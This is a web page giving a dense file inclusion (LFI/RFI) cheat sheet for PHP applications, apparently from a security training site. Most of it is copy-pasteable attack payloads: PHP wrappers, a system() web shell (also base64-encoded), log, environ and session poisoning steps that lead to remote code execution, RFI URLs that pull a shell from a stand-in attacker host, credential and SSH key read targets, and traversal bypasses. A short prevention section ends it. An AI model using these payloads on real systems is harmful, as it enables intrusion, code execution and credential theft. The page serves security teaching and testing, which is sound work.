File Inclusion: LFI, RFI, and the Road to RCE

LFI and RFI Cheat Sheet

A dense, copy-pasteable file inclusion reference: PHP wrappers, read targets, log and session poisoning, RFI, filter bypasses, and prevention.

Published

Every file inclusion payload in one place. The core move never changes: get the interpreter to load a file you influence, then either read its source or make it run your code. For the how and why behind each section, start at the file inclusion guide. Lock it in on a free live target.

PHP wrappers

php://filter/convert.base64-encode/resource=index.php      read source, base64-encoded (no allow_url_include needed)
php://filter/read=convert.base64-encode/resource=config.php
php://filter/convert.iconv.utf-8.utf-7/resource=index.php  alt when base64 filtered (UTF-7, still decode it)
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+   data:// = <?php system($_GET['c']);?>  (needs allow_url_include=On)
data://text/plain,<?php system($_GET['c']);?>                    (needs allow_url_include=On)
php://input    POST body becomes the included PHP          (needs allow_url_include=On)
expect://id    direct command exec                         (needs the rare expect extension)
zip://shell.zip%23shell.php           include a file inside an uploaded zip  (%23 = #)
phar://shell.phar/shell.php           include inside a Phar (also triggers deserialization)

php://filter chaining can build an entire PHP payload from convert.*/iconv.* filters alone, with no file write, turning a read-only filter primitive into RCE on hardened boxes. The chains are long and generated by a tool, not written by hand (needs iconv in the build).

If the include appends a fixed extension (include($page.".php")), point resource= at the base name (resource=config, which becomes config.php), and note the wrapper only reaches files that already end in the appended extension.

Common read targets

Linux:
/etc/passwd                      user list, the read-confirm
/etc/shadow                      password hashes (root-only, usually unreadable)
/etc/hosts
/etc/apache2/apache2.conf        /etc/nginx/nginx.conf          /etc/httpd/conf/httpd.conf
/proc/self/environ               env vars (poisonable on CGI only)
/proc/self/cmdline               /proc/self/status              process recon
/proc/self/fd/0 .. /proc/self/fd/N     open file descriptors (incl. uploaded temps)
/var/log/apache2/access.log      /var/log/apache2/error.log
/var/log/nginx/access.log        /var/log/httpd/access_log
/var/log/auth.log                /var/log/mail                  /var/log/vsftpd.log
/var/lib/php/sessions/sess_<PHPSESSID>        /tmp/sess_<PHPSESSID>
~/.bash_history  ~/.ssh/id_rsa  .env  config.php  wp-config.php
 
Windows:
C:\Windows\win.ini               C:\Windows\System32\drivers\etc\hosts
C:\xampp\apache\logs\access.log  C:\inetpub\logs\LogFiles\...

Log poisoning to RCE

1. Poison a logged header with PHP:
   User-Agent: <?php system($_GET['c']); ?>
   (Referer, or a 404 path for error.log, also land in logs; pick a field logged raw.)
 
2. Include the log and pass the command:
   ?page=/var/log/apache2/access.log&c=id
   ?page=/var/log/nginx/access.log&c=whoami
 
Needs: web user can read the log + the format did not mangle the PHP tags.

/proc/self/environ to RCE (CGI only)

User-Agent: <?php system($_GET['c']); ?>
?page=/proc/self/environ&c=id
 
Works only when PHP runs as CGI/php-cgi (headers reach the env as HTTP_*).
PHP-FPM does NOT put headers in environ. Modern environ is often owner-read-only.

PHP session poisoning to RCE

1. Submit a value the app stores in $_SESSION:
   <?php system($_GET['c']); ?>
2. Note your PHPSESSID cookie, then include the session file:
   ?page=/var/lib/php/sessions/sess_<PHPSESSID>&c=id
   ?page=/tmp/sess_<PHPSESSID>&c=id
 
Reliable when logs are locked: you always control your own session file.

Remote file inclusion (RFI)

?page=http://attacker.tld/shell.txt&c=id      needs allow_url_include=On
?page=http://attacker.tld/shell.txt?          trailing ? strands an appended ".php" (preferred)
?page=http://attacker.tld/shell.txt%23        %23 = # similar, but less reliable (fragment may not be stripped)
?page=https://attacker.tld/shell.txt
?page=ftp://attacker.tld/shell.txt
# shell.txt contents:
<?php system($_GET['c']); ?>

data:// is NOT a way around a disabled URL include: it is governed by the same allow_url_include setting as RFI. If RFI is off, data:// code injection is off too. allow_url_include has defaulted to Off since PHP 5.2 (2006), so RFI is mostly legacy.

Null byte and filter / traversal bypass

Null byte (legacy, < PHP 5.3.4):
?page=/etc/passwd%00
?page=../../../../etc/passwd%00.php
 
Appended extension: wrapper reads .php SOURCE only (the file already ends in .php):
?page=php://filter/convert.base64-encode/resource=config    (append makes it config.php)
# the wrapper does NOT read a non-.php file while .php is appended; use the null byte (legacy) or a no-append sink
 
Generic ../ string bypasses (same as path traversal, see that cluster):
....//....//etc/passwd                 non-recursive strip
%2e%2e%2f%2e%2e%2fetc%2fpasswd         URL-encoded ../../
%252e%252e%252f                        double-encoded (decoding proxy/WAF)
..%c0%af..%c0%afetc%2fpasswd           overlong UTF-8 "/" (LEGACY)
 
Path truncation / padding (old PHP):
?page=../../../etc/passwd/././././ ...  long pad to drop the appended extension

Detection probes

?page=index                     does it render? (confirms an include sink)
?page=index.php                 renders/blank = inclusion; raw <?php source = traversal read
?page=../../../../etc/passwd    raw traversal read
?page=php://filter/convert.base64-encode/resource=index    source leak = LFI confirmed
?page=/nonexistent              error leaks the include path + appended extension

Prevention

  • Map a key to a fixed path, never concatenate: $pages = ['home'=>'home.php']; include $pages[$_GET['page']] ?? 'home.php';.
  • Allow-list the permitted view names. Reject anything not on the list (do not blacklist ../).
  • basename() and str_replace("../","") are both bypassable and are not the control.
  • Disable allow_url_include and allow_url_fopen to kill RFI and data:///php://input code injection.
  • open_basedir to jail the app. Mount upload, log, and session dirs non-executable so a poisoned file cannot run.
  • Least privilege: the web user should not read /etc/shadow, SSH keys, or other apps' sessions. WAF keyword blocks are a speed bump, not a fix.

Full detail in preventing file inclusion. For the read-only side of the family, see path traversal.

← Back to File Inclusion: LFI, RFI, and the Road to RCE